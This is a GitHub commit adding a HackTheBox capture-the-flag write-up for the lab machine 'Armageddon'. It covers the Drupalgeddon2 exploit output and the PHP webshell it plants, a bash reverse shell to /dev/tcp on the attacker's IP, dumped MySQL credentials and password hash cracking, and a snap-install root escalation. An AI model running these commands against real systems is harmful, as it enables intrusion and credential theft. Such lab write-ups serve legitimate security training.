Skip to content

Commit 684541f

Browse files
committed
Added Armageddon HTB Writeup
1 parent ecf06e2 commit 684541f

File tree

8 files changed

+287
-0
lines changed

8 files changed

+287
-0
lines changed

Armageddon/Images/cert.png

103 KB
Loading

Armageddon/Images/changelog.png

28.6 KB
Loading

Armageddon/Images/edit-curl.png

107 KB
Loading

Armageddon/Images/etc-passwd.png

263 KB
Loading

Armageddon/Images/root.txt.png

181 KB
Loading

Armageddon/Images/searchsploit.png

178 KB
Loading

Armageddon/Images/snap.png

204 KB
Loading

Armageddon/Readme.md

Lines changed: 287 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,287 @@
1+
# Armageddon - Linux (Easy)
2+
3+
Armageddon was a straightforward box that involved a Drupalgeddon2 exploit which is quite common. I was able to upload a webshell and run commands to get initial access. Once I got initial access, I was able to access the database where the admin hash, once cracked was reused. To escalate privileges to root, I was able to exploit the fact that the admin user is able to install snap packages as root.
4+
5+
## Enumeration
6+
7+
I began Enumeration with a `Rustscan` scan on the target, picking up open ports which were then fed to `Nmap` for a more thorough scan
8+
9+
```
10+
rustscan -a $machine_IP -- -A -sV -sC -T4 -v
11+
12+
-sC - Script Scan
13+
-sV - Version Scan
14+
-T4 - Timing Template
15+
-A - Aggresive Scan Options
16+
-vv - Verbosity level
17+
18+
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
19+
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
20+
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
21+
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
22+
The Modern Day Port Scanner.
23+
________________________________________
24+
: https://discord.gg/GFrQsGy :
25+
: https://github.com/RustScan/RustScan :
26+
--------------------------------------
27+
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
28+
29+
[~] The config file is expected to be at "/root/.rustscan.toml"
30+
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
31+
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
32+
Open $machine_IP:22
33+
Open $machine_IP:80
34+
[~] Starting Script(s)
35+
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
36+
37+
PORT STATE SERVICE REASON VERSION
38+
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
39+
40+
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
41+
| http-robots.txt: 36 disallowed entries
42+
| /includes/ /misc/ /modules/ /profiles/ /scripts/
43+
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
44+
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
45+
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
46+
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
47+
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
48+
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
49+
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
50+
|_http-generator: Drupal 7 (http://drupal.org)
51+
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
52+
|_http-title: Welcome to Armageddon | Armageddon
53+
| http-methods:
54+
|_ Supported Methods: GET HEAD POST OPTIONS
55+
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
56+
57+
$databases = array (
58+
'default' =>
59+
array (
60+
'default' =>
61+
array (
62+
'database' => 'drupal',
63+
'username' => 'drupaluser',
64+
'password' => 'CQHEy@9M*m23gBVj',
65+
'host' => 'localhost',
66+
'port' => '',
67+
'driver' => 'mysql',
68+
'prefix' => '',
69+
```
70+
71+
This resulted in two ports - 22 (SSH) and 80 (HTTP). I initially targeted Port 80 as SSH isn't usually a priority (I usually try password guessing - admin, root, box name and default passwords and they didn't work this time around). However, the Nmap scan actually pulled down the `drupaluser` credential with the associated password which I will attempt to login as shortly.
72+
73+
## Port 80 (HTTP)
74+
75+
I then ran Gobuster to full enumerate HTTP and any sub-directories that were hidden.
76+
77+
```
78+
gobuster dir -u $machine_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,txt,css,js
79+
===============================================================
80+
Gobuster v3.1.0
81+
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
82+
===============================================================
83+
[+] Url: http://$machine_IP
84+
[+] Method: GET
85+
[+] Threads: 10
86+
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
87+
[+] Negative Status codes: 404
88+
[+] User Agent: gobuster/3.1.0
89+
[+] Extensions: php,txt,css,js
90+
[+] Timeout: 10s
91+
===============================================================
92+
2022/02/25 19:51:10 Starting gobuster in directory enumeration mode
93+
===============================================================
94+
/index.php (Status: 200) [Size: 7440]
95+
/misc (Status: 301) [Size: 233] [--> http://$machine_IP/misc/]
96+
/themes (Status: 301) [Size: 235] [--> http://$machine_IP/themes/]
97+
/modules (Status: 301) [Size: 236] [--> http://$machine_IP/modules/]
98+
/scripts (Status: 301) [Size: 236] [--> http://$machine_IP/scripts/]
99+
/sites (Status: 301) [Size: 234] [--> http://$machine_IP/sites/]
100+
/includes (Status: 301) [Size: 237] [--> http://$machine_IP/includes/]
101+
/install.php (Status: 200) [Size: 3172]
102+
/profiles (Status: 301) [Size: 237] [--> http://$machine_IP/profiles/]
103+
/update.php (Status: 403) [Size: 4057]
104+
/README.txt (Status: 200) [Size: 5382]
105+
/robots.txt (Status: 200) [Size: 2189]
106+
/INSTALL.txt (Status: 200) [Size: 17995]
107+
/cron.php (Status: 403) [Size: 7388]
108+
/LICENSE.txt (Status: 200) [Size: 18092]
109+
/CHANGELOG.txt (Status: 200) [Size: 111613]
110+
/xmlrpc.php (Status: 200) [Size: 42]
111+
/COPYRIGHT.txt (Status: 200) [Size: 1481]
112+
/UPGRADE.txt (Status: 200) [Size: 10123]
113+
/authorize.php (Status: 403) [Size: 2824]
114+
```
115+
116+
The Nmap scan reported that the target was running version 7 but `changelog.txt` was more helpful as it provided valuable information about the specific version of Drupal 7 and I was able to enumerate information about latest security patches.
117+
118+
![changelog](Images/changelog.png)
119+
120+
Researching that particular version of Drupal provided more information about the [Drupalgeddon2](https://unit42.paloaltonetworks.com/unit42-exploit-wild-drupalgeddon2-analysis-cve-2018-7600/) exploit. The webpage on port 80 involved creating an account but it also required verifying via email which is a bit tricky with HackTheBox. However, since I had the granular version number, I was able to proceed. I was able to query a relevant exploit with `Searchsploit` but in this case, the results were slightly elusive and I ended up resorting to a [Github PoC](https://github.com/dreadlocked/Drupalgeddon2).
121+
122+
## Gaining User Foothold
123+
124+
Having installed Highline, a dependency for the script to run, I was able to get a break through
125+
126+
```
127+
gem install highline
128+
129+
ruby drupalgeddon2.rb http://$machine_IP
130+
[*] --==[::#Drupalggedon2::]==--
131+
--------------------------------------------------------------------------------
132+
[i] Target : http://$machine_IP/
133+
--------------------------------------------------------------------------------
134+
[+] Found : http://$machine_IP/CHANGELOG.txt (HTTP Response: 200)
135+
[+] Drupal!: v7.56
136+
--------------------------------------------------------------------------------
137+
[*] Testing: Form (user/password)
138+
[+] Result : Form valid
139+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
140+
[*] Testing: Clean URLs
141+
[!] Result : Clean URLs disabled (HTTP Response: 404)
142+
[i] Isn't an issue for Drupal v7.x
143+
--------------------------------------------------------------------------------
144+
[*] Testing: Code Execution (Method: name)
145+
[i] Payload: echo DPDCPLVM
146+
[+] Result : DPDCPLVM
147+
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
148+
--------------------------------------------------------------------------------
149+
[*] Testing: Existing file (http://$machine_IP/shell.php)
150+
[i] Response: HTTP 404 // Size: 5
151+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
152+
[*] Testing: Writing To Web Root (./)
153+
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
154+
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
155+
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
156+
--------------------------------------------------------------------------------
157+
[i] Fake PHP shell: curl 'http://$machine_IP/shell.php' -d 'c=hostname'
158+
armageddon.htb>> id
159+
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
160+
```
161+
162+
Since I was able to demonstrate that the `curl` command could be modified to leak information, I was able to extend this further
163+
164+
![curl](Images/edit-curl.png)
165+
166+
```
167+
curl -G --data-urlencode "c=bash -i >& /dev/tcp/$HTB_IP/443 0>&1" 'http://$machine_IP/shell.php'
168+
```
169+
170+
I picked this up with a netcat listener and was logged in as the `Apache` entity
171+
172+
```
173+
nc -lvnp 443
174+
listening on [any] 443 ...
175+
connect to [$HTB_IP] from (UNKNOWN) [$machine_IP] 40240
176+
bash: no job control in this shell
177+
bash-4.2$ id
178+
id
179+
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
180+
```
181+
182+
Despite being unable to access the `/home` directory due to insufficient permissions, I was able to read the `/etc` file and determine that there was a legitimate user named `Brucetherealadmin`
183+
184+
![/etc/passwd](Images/etc-passwd.png)
185+
186+
I went to `/sites/default/` and opened `settings.php` which had the MySQL credentials identified earlier in the Nmap scan results
187+
188+
I was able to pull available tables with the following command
189+
190+
```
191+
mysql -e 'show tables;' -u drupaluser -p 'CQHEy@9M*m23gBVj' drupal
192+
```
193+
194+
Among the tables, one that interested me was `users`. I queried all the users in there and the only one that was generated was `Brucetherealadmin`
195+
196+
```
197+
bash-4.2$ mysql -e 'select * from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
198+
<* from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
199+
uid name pass mail theme signature signature_format created access login status timezone languagepicture init data
200+
0 NULL 0 0 0 0 NULL 0 NULL
201+
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt [email protected] filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 [email protected] a:1:{s:7:"overlay";i:1;}
202+
```
203+
204+
I copied the hash to a text file and ran Hashcat on it
205+
206+
```
207+
hashcat -a 0 -m 7900 hash.txt /usr/share/wordlists/rockyou.txt
208+
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
209+
210+
Session..........: hashcat
211+
Status...........: Cracked
212+
Hash.Mode........: 7900 (Drupal7)
213+
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
214+
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
215+
```
216+
217+
Upon logging in via SSH, I was able to grab the user flag and also identified an attack vector to privesc
218+
219+
```
220+
ssh brucetherealadmin@$machine_IP
221+
[brucetherealadmin@armageddon ~]$ id
222+
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
223+
224+
[brucetherealadmin@armageddon ~]$ whoami
225+
brucetherealadmin
226+
227+
[brucetherealadmin@armageddon ~]$ pwd
228+
/home/brucetherealadmin
229+
230+
[brucetherealadmin@armageddon ~]$ ls
231+
user.txt
232+
[brucetherealadmin@armageddon ~]$ cat user.txt
233+
22d*****************************
234+
235+
[brucetherealadmin@armageddon ~]$ sudo -l
236+
237+
User brucetherealadmin may run the following commands on armageddon:
238+
(root) NOPASSWD: /usr/bin/snap install *
239+
```
240+
241+
## Privilege Escalation to Root
242+
243+
This was a very frustrating process and ended up taking far too long for an **easy** box but I ended up learning a lot out of it! [GTFO Bins](https://gtfobins.github.io/gtfobins/snap/) was my starting point for this process. A pre-requisite to generating the package is having fpm and I was able to install it with gem
244+
245+
```
246+
gem install fpm
247+
fp --version
248+
```
249+
250+
I started by copying and running the default package
251+
252+
```
253+
COMMAND=id
254+
cd $(mktemp -d)
255+
mkdir -p meta/hooks
256+
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
257+
chmod +x meta/hooks/install
258+
fpm -n xxxx -s dir -t snap -a all meta
259+
```
260+
261+
Running the command resulted in a `xxx_1.0_all.snap` file and redirected me to a `/tmp` sub-directory
262+
263+
![snap](Images/snap.png)
264+
265+
Following this, I opened a Python Server on Port 80 and picked it up from the victim through a `curl` command
266+
267+
```
268+
$ curl 10.10.14.10/xxxx_1.0_all.snap -o test.snap
269+
270+
[brucetherealadmin@armageddon ~]$ ls
271+
test.snap user.txt
272+
[brucetherealadmin@armageddon ~]$ sudo snap install test.snap --dangerous --devmode
273+
```
274+
275+
Having run the `curl` command, I renamed the output to `test.snap`. After this, I was able to execute it to verify that `$COMMAND` produced the output of the id command.
276+
277+
```
278+
sudo snap install test.snap --dangerous --devmode
279+
```
280+
281+
Seeing this being successfully tested, I was able to extend this to do a file-read of the `root.txt` flag.
282+
283+
![root.txt](Images/root.txt.png)
284+
285+
## Cert
286+
287+
![cert](Images/cert.png)

0 commit comments

Comments
 (0)